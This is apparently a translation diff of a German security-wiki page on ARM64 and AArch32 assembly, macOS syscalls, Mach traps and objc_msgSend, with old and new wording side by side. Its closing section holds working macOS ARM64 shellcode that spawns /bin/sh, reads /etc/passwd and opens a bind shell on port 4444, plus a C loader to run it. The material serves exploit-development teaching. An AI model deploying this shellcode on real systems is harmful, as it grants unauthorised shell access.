- **`b.eq`**: **Branch if equal**, basierend auf dem vorherigen `cmp`.
|
||||
- Beispiel: `b.eq label` — Wenn die vorherige `cmp`-Instruktion gleiche Werte fand, springt dies zu `label`.
|
||||
- **`b.ne`**: **Branch if Not Equal**. Diese Instruktion prüft die Condition-Flags (gesetzt durch eine vorherige Vergleichs-Instruktion), und wenn die verglichenen Werte nicht gleich waren, verzweigt sie zu einem Label oder einer Adresse.
|
||||
- Beispiel: Nach einer `cmp x0, x1` Instruktion, `b.ne label` — Wenn die Werte in `x0` und `x1` nicht gleich sind, springt dies zu `label`.
|
||||
- **`cbz`**: **Compare and Branch on Zero**. Diese Instruktion vergleicht ein Register mit Null, und wenn es gleich ist, verzweigt sie.
|
||||
- Beispiel: `cbz x0, label` — Wenn der Wert in `x0` Null ist, springt dies zu `label`.
|
||||
- **`cbnz`**: **Compare and Branch on Non-Zero**. Diese Instruktion vergleicht ein Register mit Null, und wenn es nicht Null ist, verzweigt sie.
|
||||
- Beispiel: `cbnz x0, label` — Wenn der Wert in `x0` nicht Null ist, springt dies zu `label`.
|
||||
- **`tbnz`**: Test bit and branch on nonzero.
|
||||
- Beispiel: `tbnz x0, #8, label`
|
||||
- **`tbz`**: Test bit and branch on zero.
|
||||
- Beispiel: `tbz x0, #8, label`
|
||||
- **Conditional select operations**: Diese Operationen ändern ihr Verhalten abhängig von den Condition-Bits.
|
||||
- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Wenn wahr, X0 = X1, sonst X0 = X2
|
||||
- `csinc Xd, Xn, Xm, cond` -> Wenn wahr, Xd = Xn, sonst Xd = Xm + 1
|
||||
- `cinc Xd, Xn, cond` -> Wenn wahr, Xd = Xn + 1, sonst Xd = Xn
|
||||
- `csinv Xd, Xn, Xm, cond` -> Wenn wahr, Xd = Xn, sonst Xd = NOT(Xm)
|
||||
- `cinv Xd, Xn, cond` -> Wenn wahr, Xd = NOT(Xn), sonst Xd = Xn
|
||||
- `csneg Xd, Xn, Xm, cond` -> Wenn wahr, Xd = Xn, sonst Xd = - Xm
|
||||
- `cneg Xd, Xn, cond` -> Wenn wahr, Xd = - Xn, sonst Xd = Xn
|
||||
- `cset Xd, Xn, Xm, cond` -> Wenn wahr, Xd = 1, sonst Xd = 0
|
||||
- `csetm Xd, Xn, Xm, cond` -> Wenn wahr, Xd = \<all 1>, sonst Xd = 0
|
||||
- **`adrp`**: Berechnet die **Page-Adresse eines Symbols** und speichert sie in einem Register.
|
||||
- Beispiel: `adrp x0, symbol` — Dies berechnet die Page-Adresse von `symbol` und speichert sie in `x0`.
|
||||
- **`ldrsw`**: **Lädt** einen signierten **32-Bit**-Wert aus dem Speicher und **sign-extendet ihn auf 64 Bit**.
|
||||
- Beispiel: `ldrsw x0, [x1]` — Dies lädt einen signierten 32-Bit-Wert aus der Speicheradresse, auf die `x1` zeigt, sign-extendet ihn auf 64 Bit und speichert ihn in `x0`.
|
||||
- **`stur`**: **Speichert** einen Registerwert an einer Speicheradresse, wobei ein Offset von einem anderen Register verwendet wird.
|
||||
- Beispiel: `stur x0, [x1, #4]` — Dies speichert den Wert in `x0` in die Speicheradresse, die 4 Bytes größer ist als die Adresse in `x1`.
|
||||
- **`svc`**: Führt einen **System Call** aus. Es steht für "Supervisor Call". Wenn der Prozessor diese Instruktion ausführt, **wechselt er vom User Mode in den Kernel Mode** und springt zu einer bestimmten Stelle im Speicher, an der der Kernel-Code zur Behandlung von System Calls liegt.
|
||||
|
||||
- Beispiel:
|
||||
|
||||
```armasm
|
||||
mov x8, 93 ; Lade die Systemaufrufnummer für exit (93) in das Register x8.
|
||||
mov x0, 0 ; Lade den Exit-Statuscode (0) in das Register x0.
|
||||
svc 0 ; Führe den Systemaufruf aus.
|
||||
mov x8, 93 ; Load the system call number for exit (93) into register x8.
|
||||
mov x0, 0 ; Load the exit status code (0) into register x0.
|
||||
svc 0 ; Make the system call.
|
||||
```
|
||||
|
||||
### **Funktionsprolog**
|
||||
### **Function Prologue**
|
||||
|
||||
1. **Speichere das Link-Register und den Frame-Zeiger im Stack**:
|
||||
1. **Save the link register and frame pointer to the stack**:
|
||||
```armasm
|
||||
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
|
||||
```
|
||||
2. **Richten Sie den neuen Frame-Zeiger ein**: `mov x29, sp` (richtet den neuen Frame-Zeiger für die aktuelle Funktion ein)
|
||||
3. **Reservieren Sie Speicher auf dem Stack für lokale Variablen** (falls erforderlich): `sub sp, sp, <size>` (wobei `<size>` die benötigte Anzahl von Bytes ist)
|
||||
2. **Setze den neuen Frame-Zeiger**: `mov x29, sp` (richtet den neuen Frame-Zeiger für die aktuelle Funktion ein)
|
||||
3. **Platz auf dem Stack für lokale Variablen reservieren** (falls erforderlich): `sub sp, sp, <size>` (wobei `<size>` die benötigte Anzahl an Bytes ist)
|
||||
|
||||
### **Funktions-Epilog**
|
||||
|
||||
1. **Geben Sie lokale Variablen frei (falls welche zugewiesen wurden)**: `add sp, sp, <size>`
|
||||
2. **Stellen Sie das Link-Register und den Frame-Zeiger wieder her**:
|
||||
1. **Lokale Variablen freigeben (falls welche reserviert wurden)**: `add sp, sp, <size>`
|
||||
2. **Link-Register und Frame-Zeiger wiederherstellen**:
|
||||
```armasm
|
||||
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
|
||||
```
|
||||
3. **Return**: `ret` (gibt die Kontrolle an den Aufrufer zurück, indem die Adresse im Link-Register verwendet wird)
|
||||
3. **Rückgabe**: `ret` (gibt die Kontrolle an den Aufrufer unter Verwendung der Adresse im Link-Register zurück)
|
||||
|
||||
## AARCH32 Ausführungszustand
|
||||
|
||||
Armv8-A unterstützt die Ausführung von 32-Bit-Programmen. **AArch32** kann in einem von **zwei Befehlssätzen** laufen: **`A32`** und **`T32`** und kann zwischen ihnen über **`interworking`** wechseln.\
|
||||
**Privilegierte** 64-Bit-Programme können die **Ausführung von 32-Bit**-Programmen planen, indem sie einen Ausnahmeebenenübergang zur weniger privilegierten 32-Bit-Ebene ausführen.\
|
||||
Beachten Sie, dass der Übergang von 64-Bit zu 32-Bit mit einer Senkung der Ausnahmeebene erfolgt (zum Beispiel ein 64-Bit-Programm in EL1, das ein Programm in EL0 auslöst). Dies geschieht, indem das **Bit 4 von** **`SPSR_ELx`**-Sonderregister **auf 1** gesetzt wird, wenn der `AArch32`-Prozess-Thread bereit ist, ausgeführt zu werden, und der Rest von `SPSR_ELx` speichert die **`AArch32`**-Programme CPSR. Dann ruft der privilegierte Prozess die **`ERET`**-Anweisung auf, damit der Prozessor zu **`AArch32`** wechselt und in A32 oder T32 je nach CPSR** eintritt.**
|
||||
Armv8-A unterstützt die Ausführung von 32-Bit-Programmen. **AArch32** kann in einem von **zwei Befehlssätzen** laufen: **`A32`** und **`T32`** und kann mittels **`interworking`** zwischen ihnen wechseln.\
|
||||
**Privilegierte** 64-Bit-Programme können die **Ausführung von 32-Bit**-Programmen veranlassen, indem sie einen Exception-Level-Transfer auf das weniger privilegierte 32-Bit durchführen.\
|
||||
Beachte, dass der Übergang von 64-Bit zu 32-Bit mit einem niedrigeren Exception-Level erfolgt (zum Beispiel ein 64-Bit-Programm in EL1, das ein Programm in EL0 auslöst). Dies geschieht, indem Bit 4 des speziellen Registers **`SPSR_ELx`** auf 1 gesetzt wird, wenn der `AArch32`-Prozessthread zur Ausführung bereit ist, und der Rest von **`SPSR_ELx`** das CPSR des `AArch32`-Programms speichert. Anschließend ruft der privilegierte Prozess die **`ERET`**-Anweisung auf, sodass der Prozessor zu **`AArch32`** wechselt und in A32 oder T32 eintritt, abhängig vom CPSR.
|
||||
|
||||
Das **`interworking`** erfolgt unter Verwendung der J- und T-Bits des CPSR. `J=0` und `T=0` bedeutet **`A32`** und `J=0` und `T=1` bedeutet **T32**. Dies bedeutet im Wesentlichen, dass das **niedrigste Bit auf 1** gesetzt wird, um anzuzeigen, dass der Befehlssatz T32 ist.\
|
||||
Dies wird während der **interworking branch instructions** gesetzt, kann aber auch direkt mit anderen Anweisungen gesetzt werden, wenn der PC als Zielregister festgelegt ist. Beispiel:
|
||||
Das **`interworking`** erfolgt über die J- und T-Bits des CPSR. `J=0` und `T=0` bedeutet **`A32`** und `J=0` und `T=1` bedeutet **T32**. Das bedeutet im Grunde, dass das **niedrigste Bit auf 1** gesetzt wird, um anzuzeigen, dass das Instruction Set T32 ist.\
|
||||
Dies wird während der **interworking branch instructions** gesetzt, kann aber auch direkt mit anderen Instruktionen gesetzt werden, wenn das PC als Zielregister gesetzt wird. Beispiel:
|
||||
|
||||
Ein weiteres Beispiel:
|
||||
```armasm
|
||||
@ -264,60 +267,60 @@ mov r0, #8
|
||||
```
|
||||
### Register
|
||||
|
||||
Es gibt 16 32-Bit-Register (r0-r15). **Von r0 bis r14** können sie für **jede Operation** verwendet werden, jedoch sind einige von ihnen normalerweise reserviert:
|
||||
There are 16 32-bit registers (r0-r15). **From r0 to r14** they can be used for **any operation**, however some of them are usually reserved:
|
||||
|
||||
- **`r15`**: Programmzähler (immer). Enthält die Adresse der nächsten Anweisung. In A32 aktuell + 8, in T32, aktuell + 4.
|
||||
- **`r15`**: Program counter (always). Contains the address of the next instruction. In A32 current + 8, in T32, current + 4.
|
||||
- **`r11`**: Frame Pointer
|
||||
- **`r12`**: Intra-prozeduraler Aufrufregister
|
||||
- **`r13`**: Stack Pointer
|
||||
- **`r12`**: Intra-procedural call register
|
||||
- **`r13`**: Stack Pointer (Beachte, dass der Stack immer 16-Byte-ausgerichtet ist)
|
||||
- **`r14`**: Link Register
|
||||
|
||||
Darüber hinaus werden Register in **`banked registries`** gesichert. Dies sind Orte, die die Werte der Register speichern und einen **schnellen Kontextwechsel** bei der Ausnahmebehandlung und privilegierten Operationen ermöglichen, um die Notwendigkeit zu vermeiden, die Register jedes Mal manuell zu speichern und wiederherzustellen.\
|
||||
Dies geschieht durch **Speichern des Prozessorstatus von `CPSR` in `SPSR`** des Prozessormodus, in den die Ausnahme auftritt. Bei der Rückkehr von der Ausnahme wird der **`CPSR`** aus dem **`SPSR`** wiederhergestellt.
|
||||
Moreover, registers are backed up in **`banked registries`**. Das sind Speicherstellen, die die Registerwerte sichern und so ein **schnelles Context-Switching** bei der Ausnahmebehandlung und privilegierten Operationen ermöglichen, um das manuelle Speichern und Wiederherstellen der Register zu vermeiden.\
|
||||
Dies geschieht, indem der Prozessorzustand vom `CPSR` in das `SPSR` des Prozessormodus gespeichert wird, in den die Exception übergeht. Beim Zurückkehren aus der Exception wird das **`CPSR`** aus dem **`SPSR`** wiederhergestellt.
|
||||
|
||||
### CPSR - Aktueller Programmstatusregister
|
||||
### CPSR - Current Program Status Register
|
||||
|
||||
In AArch32 funktioniert der CPSR ähnlich wie **`PSTATE`** in AArch64 und wird auch in **`SPSR_ELx`** gespeichert, wenn eine Ausnahme auftritt, um die Ausführung später wiederherzustellen:
|
||||
In AArch32 funktioniert das CPSR ähnlich wie **`PSTATE`** in AArch64 und wird ebenfalls in **`SPSR_ELx`** gespeichert, wenn eine Exception ausgelöst wird, um die Ausführung später wiederherzustellen:
|
||||
|
||||
<figure><img src="../../../images/image (1197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Die Felder sind in einige Gruppen unterteilt:
|
||||
Die Felder sind in mehrere Gruppen unterteilt:
|
||||
|
||||
- Application Program Status Register (APSR): Arithmetische Flags und zugänglich von EL0
|
||||
- Ausführungsstatusregister: Prozessverhalten (verwaltet vom OS).
|
||||
- Application Program Status Register (APSR): Arithmetische Flags und von EL0 zugänglich
|
||||
- Execution State Registers: Prozessverhalten (vom OS verwaltet).
|
||||
|
||||
#### Application Program Status Register (APSR)
|
||||
|
||||
- Die **`N`**, **`Z`**, **`C`**, **`V`** Flags (genau wie in AArch64)
|
||||
- Das **`Q`** Flag: Es wird auf 1 gesetzt, wann immer **ganzzahlige Sättigung auftritt** während der Ausführung einer spezialisierten saturierenden arithmetischen Anweisung. Sobald es auf **`1`** gesetzt ist, behält es den Wert, bis es manuell auf 0 gesetzt wird. Darüber hinaus gibt es keine Anweisung, die seinen Wert implizit überprüft, dies muss manuell durch Lesen erfolgen.
|
||||
- **`GE`** (Größer oder gleich) Flags: Es wird in SIMD (Single Instruction, Multiple Data) Operationen verwendet, wie "parallele Addition" und "parallele Subtraktion". Diese Operationen ermöglichen die Verarbeitung mehrerer Datenpunkte in einer einzigen Anweisung.
|
||||
- Die **`N`**, **`Z`**, **`C`**, **`V`** Flags (wie in AArch64)
|
||||
- Das **`Q`**-Flag: Es wird auf 1 gesetzt, wann immer während der Ausführung einer spezialisierten saturierenden arithmetischen Instruktion eine **Integer-Sättigung** auftritt. Sobald es auf **`1`** gesetzt ist, behält es diesen Wert, bis es manuell auf 0 gesetzt wird. Darüber hinaus gibt es keine Instruktion, die seinen Wert implizit prüft; die Prüfung muss manuell durch Auslesen erfolgen.
|
||||
- **`GE`** (Greater than or equal) Flags: Wird in SIMD-Operationen (Single Instruction, Multiple Data) verwendet, wie etwa "parallel add" und "parallel subtract". Diese Operationen erlauben die Verarbeitung mehrerer Datenpunkte in einer einzigen Instruktion.
|
||||
|
||||
Zum Beispiel addiert die **`UADD8`** Anweisung **vier Byte-Paare** (von zwei 32-Bit-Operanden) parallel und speichert die Ergebnisse in einem 32-Bit-Register. Sie **setzt dann die `GE` Flags im `APSR`** basierend auf diesen Ergebnissen. Jedes GE-Flag entspricht einer der Byte-Addition, die angibt, ob die Addition für dieses Byte-Paar **übergelaufen** ist.
|
||||
Zum Beispiel addiert die **`UADD8`**-Instruktion **vier Byte-Paare** (aus zwei 32-Bit-Operanden) parallel und speichert die Ergebnisse in einem 32-Bit-Register. Sie setzt anschließend die **`GE`-Flags im `APSR`** basierend auf diesen Ergebnissen. Jedes GE-Flag entspricht einer der Byte-Additionen und zeigt an, ob die Addition für dieses Byte-Paar **übergelaufen** ist.
|
||||
|
||||
Die **`SEL`** Anweisung verwendet diese GE-Flags, um bedingte Aktionen durchzuführen.
|
||||
Die **`SEL`**-Instruktion verwendet diese GE-Flags, um bedingte Aktionen auszuführen.
|
||||
|
||||
#### Ausführungsstatusregister
|
||||
#### Execution State Registers
|
||||
|
||||
- Die **`J`** und **`T`** Bits: **`J`** sollte 0 sein und wenn **`T`** 0 ist, wird der Befehlssatz A32 verwendet, und wenn er 1 ist, wird T32 verwendet.
|
||||
- **IT Block Status Register** (`ITSTATE`): Dies sind die Bits von 10-15 und 25-26. Sie speichern Bedingungen für Anweisungen innerhalb einer **`IT`**-präfixierten Gruppe.
|
||||
- **`E`** Bit: Gibt die **Endianness** an.
|
||||
- **Mode und Ausnahme-Maskenbits** (0-4): Sie bestimmen den aktuellen Ausführungsstatus. Das **5.** gibt an, ob das Programm als 32-Bit (eine 1) oder 64-Bit (eine 0) läuft. Die anderen 4 repräsentieren den **aktuell verwendeten Ausnahmemodus** (wenn eine Ausnahme auftritt und behandelt wird). Die gesetzte Zahl **gibt die aktuelle Priorität** an, falls eine andere Ausnahme ausgelöst wird, während diese behandelt wird.
|
||||
- Die **`J`**- und **`T`**-Bits: **`J`** sollte 0 sein; wenn **`T`** 0 ist, wird das Instruktionsset A32 verwendet, und wenn es 1 ist, wird T32 verwendet.
|
||||
- **IT Block State Register** (`ITSTATE`): Dies sind die Bits 10-15 und 25-26. Sie speichern Bedingungen für Instruktionen innerhalb einer mit **`IT`** vorangestellten Gruppe.
|
||||
- **`E`**-Bit: Gibt die **Endianness** an.
|
||||
- **Mode and Exception Mask Bits** (0-4): Bestimmen den aktuellen Ausführungszustand. Das **5. Bit** zeigt an, ob das Programm als 32bit (1) oder 64bit (0) läuft. Die anderen 4 repräsentieren den **derzeit verwendeten Exception-Modus** (wenn eine Exception auftritt und behandelt wird). Die gesetzte Zahl **gibt die aktuelle Priorität** an, falls während der Behandlung eine weitere Exception ausgelöst wird.
|
||||
|
||||
<figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **`AIF`**: Bestimmte Ausnahmen können mit den Bits **`A`**, `I`, `F` deaktiviert werden. Wenn **`A`** 1 ist, bedeutet das, dass **asynchrone Abbrüche** ausgelöst werden. Das **`I`** konfiguriert die Reaktion auf externe Hardware **Interrupt Requests** (IRQs). und das F bezieht sich auf **Fast Interrupt Requests** (FIRs).
|
||||
- **`AIF`**: Bestimmte Exceptions können durch die Bits **`A`**, `I`, `F` deaktiviert werden. Ist **`A`** 1, bedeutet das, dass **asynchrone Aborts** ausgelöst werden. Das **`I`** konfiguriert die Reaktion auf externe Hardware **Interrupt Requests** (IRQs), und `F` bezieht sich auf **Fast Interrupt Requests** (FIRs).
|
||||
|
||||
## macOS
|
||||
|
||||
### BSD syscalls
|
||||
|
||||
Schau dir [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) an. BSD syscalls haben **x16 > 0**.
|
||||
Siehe [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) oder führe `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h` aus. BSD syscalls haben **x16 > 0**.
|
||||
|
||||
### Mach Traps
|
||||
|
||||
Schau dir in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) die `mach_trap_table` an und in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) die Prototypen. Die maximale Anzahl von Mach-Traps ist `MACH_TRAP_TABLE_COUNT` = 128. Mach-Traps haben **x16 < 0**, also musst du die Zahlen aus der vorherigen Liste mit einem **Minus** aufrufen: **`_kernelrpc_mach_vm_allocate_trap`** ist **`-10`**.
|
||||
Siehe in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) die `mach_trap_table` und in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) die Prototypen. Die maximale Anzahl der Mach-Traps ist `MACH_TRAP_TABLE_COUNT` = 128. Mach-Traps haben **x16 < 0**, daher muss man die Nummern aus der vorherigen Liste mit einem Minus aufrufen: **`_kernelrpc_mach_vm_allocate_trap`** ist **`-10`**.
|
||||
|
||||
Du kannst auch **`libsystem_kernel.dylib`** in einem Disassembler überprüfen, um herauszufinden, wie man diese (und BSD) syscalls aufruft:
|
||||
Du kannst auch **`libsystem_kernel.dylib`** in einem Disassembler prüfen, um herauszufinden, wie diese (und BSD-) syscalls aufgerufen werden:
|
||||
```bash
|
||||
# macOS
|
||||
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
|
||||
@ -325,32 +328,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
|
||||
# iOS
|
||||
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
|
||||
```
|
||||
Beachten Sie, dass **Ida** und **Ghidra** auch **spezifische dylibs** aus dem Cache dekompilieren können, indem sie einfach den Cache übergeben.
|
||||
Beachte, dass **Ida** und **Ghidra** auch **specific dylibs** aus dem Cache dekompilieren können, indem man einfach den Cache übergibt.
|
||||
|
||||
> [!TIP]
|
||||
> Manchmal ist es einfacher, den **dekompilierten** Code von **`libsystem_kernel.dylib`** **zu überprüfen**, als den **Quellcode** zu überprüfen, da der Code mehrerer Syscalls (BSD und Mach) über Skripte generiert wird (siehe Kommentare im Quellcode), während Sie in der dylib finden können, was aufgerufen wird.
|
||||
> Manchmal ist es einfacher, den **dekompilierten** Code von **`libsystem_kernel.dylib`** zu prüfen **als** den **Quellcode** zu prüfen, weil der Code mehrerer syscalls (BSD und Mach) mittels Skripten generiert wird (siehe Kommentare im Quellcode), während du in der dylib finden kannst, was tatsächlich aufgerufen wird.
|
||||
|
||||
### machdep Aufrufe
|
||||
### machdep calls
|
||||
|
||||
XNU unterstützt eine andere Art von Aufrufen, die maschinenabhängig sind. Die Anzahl dieser Aufrufe hängt von der Architektur ab, und weder die Aufrufe noch die Zahlen sind garantiert konstant.
|
||||
XNU unterstützt einen anderen Typ von Aufrufen, die "machine dependent" genannt werden. Die Nummern dieser Aufrufe hängen von der Architektur ab und weder die Aufrufe noch die Nummern sind garantiert konstant.
|
||||
|
||||
### comm Seite
|
||||
### comm page
|
||||
|
||||
Dies ist eine vom Kernel verwaltete Speicherseite, die in den Adressraum jedes Benutzerprozesses gemappt ist. Sie soll den Übergang vom Benutzermodus in den Kernelraum schneller machen, als Syscalls für Kernel-Dienste zu verwenden, die so häufig genutzt werden, dass dieser Übergang sehr ineffizient wäre.
|
||||
Dies ist eine vom Kernel verwaltete Speicherseite, die in den Adressraum jedes Benutzerprozesses gemappt wird. Sie soll den Übergang vom Benutzermodus in den Kernelmodus schneller machen als die Nutzung von syscalls für Kernel‑Dienste, die so häufig verwendet werden, dass dieser Übergang sehr ineffizient wäre.
|
||||
|
||||
Zum Beispiel liest der Aufruf `gettimeofdate` den Wert von `timeval` direkt von der comm Seite.
|
||||
Zum Beispiel liest der Aufruf `gettimeofdate` den Wert von `timeval` direkt aus der comm page.
|
||||
|
||||
### objc_msgSend
|
||||
|
||||
Es ist sehr häufig, diese Funktion in Objective-C- oder Swift-Programmen zu finden. Diese Funktion ermöglicht es, eine Methode eines Objective-C-Objekts aufzurufen.
|
||||
Es ist sehr häufig, diese Funktion in Objective-C- oder Swift-Programmen zu finden. Diese Funktion ermöglicht das Aufrufen einer Methode eines Objective‑C‑Objekts.
|
||||
|
||||
Parameter ([weitere Informationen in den Dokumenten](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
|
||||
Parameter ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
|
||||
|
||||
- x0: self -> Zeiger auf die Instanz
|
||||
- x1: op -> Selektor der Methode
|
||||
- x1: op -> Selector der Methode
|
||||
- x2... -> Rest der Argumente der aufgerufenen Methode
|
||||
|
||||
Wenn Sie also einen Breakpoint vor dem Sprung zu dieser Funktion setzen, können Sie leicht herausfinden, was in lldb aufgerufen wird (in diesem Beispiel ruft das Objekt ein Objekt von `NSConcreteTask` auf, das einen Befehl ausführen wird):
|
||||
Wenn du also einen Breakpoint vor dem Branch zu dieser Funktion setzt, kannst du im lldb leicht herausfinden, was aufgerufen wird (in diesem Beispiel ruft das Objekt ein Objekt von `NSConcreteTask` auf, das einen Befehl ausführt):
|
||||
```bash
|
||||
# Right in the line were objc_msgSend will be called
|
||||
(lldb) po $x0
|
||||
@ -369,31 +372,31 @@ whoami
|
||||
)
|
||||
```
|
||||
> [!TIP]
|
||||
> Durch das Setzen der Umgebungsvariable **`NSObjCMessageLoggingEnabled=1`** ist es möglich, zu protokollieren, wann diese Funktion in einer Datei wie `/tmp/msgSends-pid` aufgerufen wird.
|
||||
> Wenn die Umgebungsvariable **`NSObjCMessageLoggingEnabled=1`** gesetzt ist, ist es möglich zu protokollieren, wann diese Funktion aufgerufen wird — in einer Datei wie `/tmp/msgSends-pid`.
|
||||
>
|
||||
> Darüber hinaus kann durch das Setzen von **`OBJC_HELP=1`** und das Aufrufen einer beliebigen Binärdatei gesehen werden, welche anderen Umgebungsvariablen verwendet werden können, um **log** zu protokollieren, wann bestimmte Objc-C-Aktionen auftreten.
|
||||
> Wenn zusätzlich **`OBJC_HELP=1`** gesetzt ist und man ein beliebiges Binary aufruft, kann man weitere Umgebungsvariablen sehen, die man verwenden kann, um zu **protokollieren**, wann bestimmte Objc-C-Aktionen auftreten.
|
||||
|
||||
Wenn diese Funktion aufgerufen wird, ist es notwendig, die aufgerufene Methode der angegebenen Instanz zu finden. Dazu werden verschiedene Suchen durchgeführt:
|
||||
Wenn diese Funktion aufgerufen wird, muss die aufgerufene Methode der angegebenen Instanz gefunden werden; dafür werden verschiedene Suchen durchgeführt:
|
||||
|
||||
- Führen Sie eine optimistische Cache-Suche durch:
|
||||
- Wenn erfolgreich, fertig
|
||||
- Erwerben Sie runtimeLock (lesen)
|
||||
- Wenn (realize && !cls->realized) Klasse realisieren
|
||||
- Wenn (initialize && !cls->initialized) Klasse initialisieren
|
||||
- Versuchen Sie den eigenen Cache der Klasse:
|
||||
- Wenn erfolgreich, fertig
|
||||
- Versuchen Sie die Methodenliste der Klasse:
|
||||
- Wenn gefunden, Cache füllen und fertig
|
||||
- Versuchen Sie den Cache der Superklasse:
|
||||
- Wenn erfolgreich, fertig
|
||||
- Versuchen Sie die Methodenliste der Superklasse:
|
||||
- Wenn gefunden, Cache füllen und fertig
|
||||
- Wenn (resolver) versuchen Sie den Methodenresolver und wiederholen Sie die Suche von der Klassensuche
|
||||
- Wenn Sie immer noch hier sind (= alles andere ist fehlgeschlagen) versuchen Sie den Forwarder
|
||||
- Führe einen optimistischen Cache-Lookup durch:
|
||||
- Bei Erfolg: erledigt
|
||||
- runtimeLock (read) erwerben
|
||||
- Wenn (realize && !cls->realized) → Klasse realisieren
|
||||
- Wenn (initialize && !cls->initialized) → Klasse initialisieren
|
||||
- Klassen-eigenen Cache prüfen:
|
||||
- Bei Erfolg: erledigt
|
||||
- Methodenliste der Klasse prüfen:
|
||||
- Bei Fund: Cache füllen und erledigt
|
||||
- Cache der Superklasse prüfen:
|
||||
- Bei Erfolg: erledigt
|
||||
- Methodenliste der Superklasse prüfen:
|
||||
- Bei Fund: Cache füllen und erledigt
|
||||
- Wenn (resolver): method resolver versuchen und ab class lookup wiederholen
|
||||
- Wenn immer noch hier (= alles andere fehlgeschlagen): forwarder versuchen
|
||||
|
||||
### Shellcodes
|
||||
|
||||
Um zu kompilieren:
|
||||
Zum Kompilieren:
|
||||
```bash
|
||||
as -o shell.o shell.s
|
||||
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
|
||||
@ -417,7 +420,7 @@ done
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>C-Code zum Testen des Shellcodes</summary>
|
||||
<summary>C-Code zum Testen von shellcode</summary>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
// gcc loader.c -o loader
|
||||
@ -467,7 +470,7 @@ return 0;
|
||||
|
||||
#### Shell
|
||||
|
||||
Entnommen von [**hier**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) und erklärt.
|
||||
Entnommen von [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) und erklärt.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="with adr"}}
|
||||
@ -487,7 +490,7 @@ sh_path: .asciz "/bin/sh"
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="mit Stack"}}
|
||||
{{#tab name="with stack"}}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
@ -518,7 +521,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="mit adr für linux"}}
|
||||
{{#tab name="with adr for linux"}}
|
||||
```armasm
|
||||
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
@ -539,7 +542,7 @@ sh_path: .asciz "/bin/sh"
|
||||
|
||||
#### Mit cat lesen
|
||||
|
||||
Das Ziel ist es, `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` auszuführen, sodass das zweite Argument (x1) ein Array von Parametern ist (was im Speicher einen Stack der Adressen bedeutet).
|
||||
Das Ziel ist es, `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` auszuführen, daher ist das zweite Argument (x1) ein Array von params (was im Speicher einem Stack der addresses entspricht).
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
@ -565,7 +568,7 @@ cat_path: .asciz "/bin/cat"
|
||||
.align 2
|
||||
passwd_path: .asciz "/etc/passwd"
|
||||
```
|
||||
#### Befehl mit sh aus einem Fork aufrufen, damit der Hauptprozess nicht beendet wird
|
||||
#### Befehl mit sh aus einem fork aufrufen, damit der Hauptprozess nicht beendet wird
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
@ -611,7 +614,7 @@ touch_command: .asciz "touch /tmp/lalala"
|
||||
```
|
||||
#### Bind shell
|
||||
|
||||
Bind shell von [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) in **port 4444**
|
||||
Bind shell von [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) auf **Port 4444**
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
@ -693,7 +696,7 @@ mov x2, xzr
|
||||
mov x16, #59
|
||||
svc #0x1337
|
||||
```
|
||||
#### Reverse Shell
|
||||
#### Reverse shell
|
||||
|
||||
